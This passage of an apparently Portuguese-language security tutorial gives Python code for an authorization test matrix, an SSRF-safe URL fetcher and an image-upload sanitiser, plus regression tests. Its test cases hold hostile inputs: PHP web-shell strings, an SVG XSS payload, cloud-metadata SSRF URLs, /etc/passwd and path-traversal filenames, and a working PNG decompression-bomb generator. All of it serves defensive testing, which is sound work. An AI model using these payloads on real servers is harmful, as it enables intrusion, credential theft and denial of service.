        if not good: failures.append(f"{name}: got {got}")
    for actor, i in itertools.product(USERS, INVOICES0):
        obj = INVOICES0[i]; cross = USERS[actor][0] != obj["tenant"]; want = policy(actor, obj)
        for action in ("read", "update", "delete"):
            c = make_app(bugs).test_client(); h = {"X-User": actor}
            r = c.get(f"/invoices/{i}", headers=h) if action == "read" else c.patch(f"/invoices/{i}", json={"title": "x"}, headers=h) if action == "update" else c.delete(f"/invoices/{i}", headers=h)
            check(f"{actor} {action} invoice {i}", r.status_code, want, cross)
    for actor in USERS:                                       # lists must contain exactly the invoices the policy allows
        c = make_app(bugs).test_client(); got = set(c.get("/invoices", headers={"X-User": actor}).get_json()); n += 1
        want = {i for i, o in INVOICES0.items() if policy(actor, o)}
        if got != want: failures.append(f"{actor} list: got {sorted(got)}, want {sorted(want)}")
    for action in ("read", "update", "delete", "list"):     # anonymous users get 401 everywhere
        c = make_app(bugs).test_client()
        r = {"read": lambda: c.get("/invoices/1"), "update": lambda: c.patch("/invoices/1", json={}), "delete": lambda: c.delete("/invoices/1"), "list": lambda: c.get("/invoices")}[action]()
        n += 1
        if r.status_code != 401: failures.append(f"anonymous {action}: got {r.status_code}")
    for actor, cust in itertools.product(USERS, CUSTOMERS):   # create: only with a customer of my own tenant
        c = make_app(bugs).test_client(); r = c.post("/invoices", json={"customer": cust, "title": "n"}, headers={"X-User": actor})
        check(f"{actor} create with customer {cust} ({CUSTOMERS[cust]})", r.status_code, CUSTOMERS[cust] == USERS[actor][0], CUSTOMERS[cust] != USERS[actor][0])
    for actor in USERS:                                       # admin-only functions
        c = make_app(bugs).test_client(); r = c.get("/admin/users", headers={"X-User": actor}); check(f"{actor} list users", r.status_code, USERS[actor][1] == "admin")
    for actor, target in itertools.product(USERS, USERS):
        c = make_app(bugs).test_client(); r = c.post(f"/admin/users/{target}/role", json={"role": "admin"}, headers={"X-User": actor})
        same = USERS[actor][0] == USERS[target][0]; check(f"{actor} change role of {target}", r.status_code, USERS[actor][1] == "admin" and same, USERS[actor][1] == "admin" and not same)
    c = make_app(bugs).test_client(); c.patch("/invoices/1", json={"title": "x", "owner": "bob", "tenant": "T2"}, headers={"X-User": "alice"})   # mass assignment
    after = c.get("/invoices/1", headers={"X-User": "alice"}); n += 1
    if after.status_code != 200 or after.get_json()["owner"] != "alice" or after.get_json()["tenant"] != "T1": failures.append("alice update with extra fields: owner or tenant was changed (mass assignment)")
    return n, failures

if __name__ == "__main__":
    n, f = run_matrix(); print(f"correct app: {n} checks, {len(f)} failures")
    for bug in ("get_missing_owner", "list_missing_tenant", "mass_assignment", "delete_wrong_tenant", "create_foreign_customer", "admin_no_check", "admin_other_tenant"):
        n, f = run_matrix((bug,)); print(f"bug {bug:<24}: {len(f):>2} of {n} checks fail, e.g. {f[0] if f else 'NOT DETECTED'}")

SSRF: verificando o endereço resolvido, DNS rebinding e redirecionamentos

Apenas biblioteca padrão; o resolvedor e a camada HTTP são stubs, então nada toca a rede.

"""Fetching a user-supplied URL without letting it reach the server's own network or the cloud metadata endpoint.
No network is used: the resolver and the HTTP layer are replaced by stubs so that DNS rebinding and redirects can be reproduced exactly."""
import ipaddress, socket, urllib.parse

class Blocked(Exception): pass

def is_public(addr):
    ip = ipaddress.ip_address(addr)
    if ip.version == 6 and ip.ipv4_mapped: ip = ip.ipv4_mapped                       # ::ffff:169.254.169.254 is the IPv4 address in disguise
    return ip.is_global and not ip.is_multicast                                        # not private, loopback, link-local (169.254/16, includes the metadata address), unique-local (fd00::/8), CGNAT...

def resolve(host, port, resolver=socket.getaddrinfo):
    infos = resolver(host, port, type=socket.SOCK_STREAM)
    addrs = sorted({i[4][0] for i in infos})
    bad = [a for a in addrs if not is_public(a)]
    if not addrs or bad: raise Blocked(f"{host} resolves to {', '.join(bad) or 'nothing'}")
    return addrs[0]                                                                    # connect to THIS address, not to the name again

def check_url(url, resolver=socket.getaddrinfo):
    u = urllib.parse.urlsplit(url)
    if u.scheme not in ("http", "https"): raise Blocked(f"scheme {u.scheme or '(none)'} not allowed")
    if "@" in u.netloc or not u.hostname: raise Blocked("credentials or no host in the URL")
    port = u.port or (443 if u.scheme == "https" else 80)
    if port not in (80, 443): raise Blocked(f"port {port} not allowed")
    return u, resolve(u.hostname, port, resolver), port

def safe_fetch(url, resolver, http_get, max_redirects=3):
    """http_get(ip, host, port, path) -> (status, location). Every redirect target goes through the same checks."""
    for _ in range(max_redirects + 1):
        u, ip, port = check_url(url, resolver)
        status, location = http_get(ip, u.hostname, port, u.path or "/")
        if status in (301, 302, 303, 307, 308) and location: url = urllib.parse.urljoin(url, location); continue
        return status, ip
    raise Blocked("too many redirects")

if __name__ == "__main__":
    PUBLIC = {"example.org": ["93.184.216.34"], "files.example.org": ["93.184.216.34"], "evil.example": ["169.254.169.254"], "internal.corp": ["10.0.0.5"]}
    def stub(host, port, type=0):
        if host in PUBLIC: return [(2, 1, 6, "", (a, port)) for a in PUBLIC[host]]
        return socket.getaddrinfo(host, port, type=type)                                # literal IPs, 'localhost' and odd spellings go through the real parser
    urls = [
        "https://example.org/report.pdf",
        "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
        "http://[fd00:ec2::254]/latest/meta-data/",
        "http://[::ffff:169.254.169.254]/",
        "http://2852039166/", "http://0xa9.0xfe.0xa9.0xfe/", "http://169.254.169.254.nip.invalid/",
        "http://localhost/admin", "http://127.1/", "http://0.0.0.0/", "http://[::1]/", "http://10.0.0.5/", "http://100.64.0.1/",
        "http://evil.example/", "http://internal.corp/", "http://example.org@169.254.169.254/", "http://example.org:6379/", "file:///etc/passwd", "gopher://example.org/_x",
    ]
    print("check_url:")
    for url in urls:
        try: _, ip, _ = check_url(url, stub); print(f"  allowed  {url:<62} -> {ip}")
        except (Blocked, socket.gaierror) as e: print(f"  BLOCKED  {url:<62} {e}")
    # DNS rebinding: a name that answers with a public address the first time and the metadata address the second time
    answers = iter([["93.184.216.34"], ["169.254.169.254"]])
    def rebinding(host, port, type=0): return [(2, 1, 6, "", (a, port)) for a in next(answers)]
    first = rebinding("rebind.example", 80)[0][4][0]; second = rebinding("rebind.example", 80)[0][4][0]
    print(f"\nDNS rebinding: check resolves to {first} (public, so the URL looks fine); a client that resolves the name again to connect gets {second}")
    answers = iter([["93.184.216.34"], ["169.254.169.254"]])
    _, ip, _ = check_url("http://rebind.example/", rebinding); print(f"  safe version connects to the address it checked: {ip}")
    # a redirect from a harmless host to the metadata address
    web = {("93.184.216.34", "example.org"): (302, "http://169.254.169.254/latest/meta-data/")}
    def http_get(ip, host, port, path): return web.get((ip, host), (200, None))
    try: safe_fetch("http://example.org/start", stub, http_get)
    except Blocked as e: print(f"redirect to the metadata address: BLOCKED ({e})")
    print("redirect to another public host:", safe_fetch("http://example.org/start", stub, lambda ip, h, p, path: (302, "https://files.example.org/x") if h == "example.org" else (200, None)))

Uploads: lista de permissões, detecção pelo conteúdo, limites de pixels, recodificação e limites de arquivos compactados

Precisa do Pillow para o passo de recodificação.

"""Safe processing of uploaded images: size, allowlist, content sniffing, pixel limits, re-encoding, generated names, archive limits."""
import io, os, struct, uuid, zipfile, zlib
from PIL import Image

MAX_BYTES, MAX_PIXELS = 2_000_000, 25_000_000
MAGIC = {"png": b"\x89PNG\r\n\x1a\n", "jpeg": b"\xff\xd8\xff", "gif": b"GIF8"}
EXT_TO_KIND = {".png": "png", ".jpg": "jpeg", ".jpeg": "jpeg", ".gif": "gif"}        # an allowlist: everything else (.svg, .html, .php, .pdf...) is refused

def sniff(data):
    return next((k for k, m in MAGIC.items() if data.startswith(m)), None)

def png_size(data):                                                                    # read the header only: never decode before checking
    return struct.unpack(">II", data[16:24]) if data[12:16] == b"IHDR" else None

def process_upload(filename, data):
    """Returns (stored_name, clean_bytes) or raises ValueError with the reason. `filename` is only ever used to pick an extension to compare."""
    if len(data) > MAX_BYTES: raise ValueError("too large")
    ext = os.path.splitext(filename.replace("\x00", ""))[1].lower()                    # only the last extension counts
    if ext not in EXT_TO_KIND: raise ValueError(f"type {ext or '(none)'} not allowed")
    kind = sniff(data)
    if kind != EXT_TO_KIND[ext]: raise ValueError(f"content is {kind or 'not an image'}, name says {EXT_TO_KIND[ext]}")
    if kind == "png":
        w, h = png_size(data) or (0, 0)
        if w * h > MAX_PIXELS: raise ValueError(f"{w}x{h} = {w*h/1e6:.0f} megapixels, over the limit")
    img = Image.open(io.BytesIO(data)); img.load()                                      # decode (Pillow also refuses decompression bombs)
    out = io.BytesIO(); img.convert("RGB").save(out, "PNG"); clean = out.getvalue()      # re-encode: a new file with pixels only, no metadata, no trailing bytes
    return f"{uuid.uuid4().hex}.png", clean                                              # a generated name, never the client's

def png_bomb(side=20_000):
    def chunk(t, d): return struct.pack(">I", len(d)) + t + d + struct.pack(">I", zlib.crc32(t + d))
    z = zlib.compressobj(9); idat = bytearray(); row = b"\x00" * (side + 1)
    for _ in range(side): idat += z.compress(row)
    idat += z.flush()
    return b"\x89PNG\r\n\x1a\n" + chunk(b"IHDR", struct.pack(">IIBBBBB", side, side, 8, 0, 0, 0, 0)) + chunk(b"IDAT", bytes(idat)) + chunk(b"IEND", b"")

def check_zip(data, max_total=50_000_000, max_ratio=100):
    """If you must accept archives: limit the declared sizes, the ratio, and the bytes actually produced (headers can lie)."""
    with zipfile.ZipFile(io.BytesIO(data)) as z:
        infos = z.infolist()
        if sum(i.file_size for i in infos) > max_total: raise ValueError("declared size too large")
        if sum(i.file_size for i in infos) / max(1, sum(i.compress_size for i in infos)) > max_ratio: raise ValueError("compression ratio suspicious")
        produced = 0
        for i in infos:
            with z.open(i) as f:
                while chunk := f.read(65536):
                    produced += len(chunk)
                    if produced > max_total: raise ValueError("more data than declared")
    return produced

def png(size=(120, 80), color=(200, 30, 30)):
    b = io.BytesIO(); Image.new("RGB", size, color).save(b, "PNG"); return b.getvalue()

if __name__ == "__main__":
    good = png()
    exif = Image.Exif(); exif[0x010E] = "taken at a secret place"
    jb = io.BytesIO(); Image.new("RGB", (50, 50)).save(jb, "JPEG", exif=exif); jpeg_with_exif = jb.getvalue()
    bomb = png_bomb()
    cases = [
        ("photo.png", good), ("shell.php", b"<?php system($_GET[0]); ?>"), ("shell.png", b"<?php system($_GET[0]); ?>"),
        ("evil.svg", b"<svg xmlns='http://www.w3.org/2000/svg' onload='alert(1)'/>"), ("a.jpg", good), ("big.png", good + b"0" * 3_000_000),
        ("polyglot.png", good + b"<?php system($_GET[0]); ?>"), ("camera.jpg", jpeg_with_exif), ("flood.png", bomb),
        ("../../etc/cron.d/x.png", good), ("x.png\x00.php", good), ("shell.php.png", good),
    ]
    print(f"{'upload':<24} {'result'}")
    for name, data in cases:
        try:
            stored, clean = process_upload(name, data)
            note = f"stored as {stored[:8]}….png, {len(data):,} -> {len(clean):,} bytes"
            if b"<?php" in data: note += f"; payload bytes in the stored file: {b'<?php' in clean}"
            if name == "camera.jpg": note += f"; EXIF in the stored file: {bool(Image.open(io.BytesIO(clean)).getexif())} (it was {bool(Image.open(io.BytesIO(data)).getexif())})"
            print(f"{name!r:<24} ACCEPTED {note}")
        except ValueError as e:
            print(f"{name!r:<24} refused: {e}")
    print(f"\nthe pixel-flood PNG is {len(bomb):,} bytes and claims 20,000 x 20,000 pixels")
    zb = io.BytesIO()
    with zipfile.ZipFile(zb, "w", zipfile.ZIP_DEFLATED) as z: z.writestr("zeros.bin", b"\x00" * 200_000_000)
    print(f"a zip of {len(zb.getvalue()):,} bytes expands to 200,000,000 bytes (ratio {200_000_000 // len(zb.getvalue())}:1)")
    try: check_zip(zb.getvalue())
    except ValueError as e: print("check_zip:", e)
    ok = io.BytesIO()
    with zipfile.ZipFile(ok, "w", zipfile.ZIP_DEFLATED) as z: z.writestr("notes.txt", b"hello world " * 50)
    print("a normal zip:", check_zip(ok.getvalue()), "bytes produced, accepted")

Os testes de regressão, como rodariam no CI

Salve os três arquivos acima em uma pasta, ao lado deste, e rode python3 -m unittest -v test_security.

"""Security regression tests that run on every change: python3 -m unittest -v test_security
Put them in the same suite as the other tests, so a failing authorization check blocks the merge like any other failure."""
import io, socket, unittest
from PIL import Image
import authz_matrix, ssrf, uploads

ALL_BUGS = ("get_missing_owner", "list_missing_tenant", "mass_assignment", "delete_wrong_tenant", "create_foreign_customer", "admin_no_check", "admin_other_tenant")
# every route must be listed here, with the matrix check that covers it: adding a route without adding a check fails the build
COVERED = {"/invoices": "list + create", "/invoices/<int:n>": "read, update, delete", "/admin/users": "admin function", "/admin/users/<u>/role": "admin function"}

class Authorization(unittest.TestCase):
    def test_matrix_passes(self):
        n, failures = authz_matrix.run_matrix(); self.assertEqual(failures, [], f"{len(failures)} of {n} checks failed")
    def test_matrix_catches_each_known_bug(self):                       # a test of the tests: if a bug goes undetected the matrix has a gap
        for bug in ALL_BUGS:
            with self.subTest(bug=bug): self.assertTrue(authz_matrix.run_matrix((bug,))[1], f"{bug} was not detected")
    def test_every_route_has_a_check(self):
        rules = {r.rule for r in authz_matrix.make_app().url_map.iter_rules() if r.endpoint != "static"}
        self.assertEqual(rules - set(COVERED), set(), "route without an authorization check in the matrix")

class Ssrf(unittest.TestCase):
    def test_blocked_targets(self):
        for url in ("http://169.254.169.254/latest/meta-data/", "http://[::ffff:169.254.169.254]/", "http://2852039166/", "http://127.1/", "http://[fd00:ec2::254]/", "file:///etc/passwd", "http://a@169.254.169.254/"):
            with self.subTest(url=url), self.assertRaises(ssrf.Blocked): ssrf.check_url(url)
    def test_public_target_is_allowed(self):
        stub = lambda host, port, type=0: [(2, 1, 6, "", ("93.184.216.34", port))]
        self.assertEqual(ssrf.check_url("https://example.org/x", stub)[1], "93.184.216.34")
    def test_redirect_to_metadata_is_blocked(self):
        stub = lambda host, port, type=0: [(2, 1, 6, "", ("169.254.169.254" if host.startswith("169") else "93.184.216.34", port))]
        with self.assertRaises(ssrf.Blocked): ssrf.safe_fetch("http://example.org/", stub, lambda ip, h, p, path: (302, "http://169.254.169.254/"))

class Uploads(unittest.TestCase):
    good = uploads.png()
    def test_disguised_script_is_refused(self):
        with self.assertRaises(ValueError): uploads.process_upload("shell.png", b"<?php system($_GET[0]); ?>")
    def test_polyglot_payload_is_removed(self):
        _, clean = uploads.process_upload("p.png", self.good + b"<?php system($_GET[0]); ?>"); self.assertNotIn(b"<?php", clean)
    def test_client_name_never_used(self):
        stored, _ = uploads.process_upload("../../etc/x.png", self.good); self.assertRegex(stored, r"^[0-9a-f]{32}\.png$")
    def test_pixel_flood_refused_before_decoding(self):
        with self.assertRaises(ValueError): uploads.process_upload("f.png", uploads.png_bomb(8_000))   # 64 megapixels in about 70 KB
    def test_svg_refused(self):
        with self.assertRaises(ValueError): uploads.process_upload("a.svg", b"<svg onload='x()'/>")

if __name__ == "__main__":
    unittest.main()

Fontes

Pratique este tema: Security

Mais guias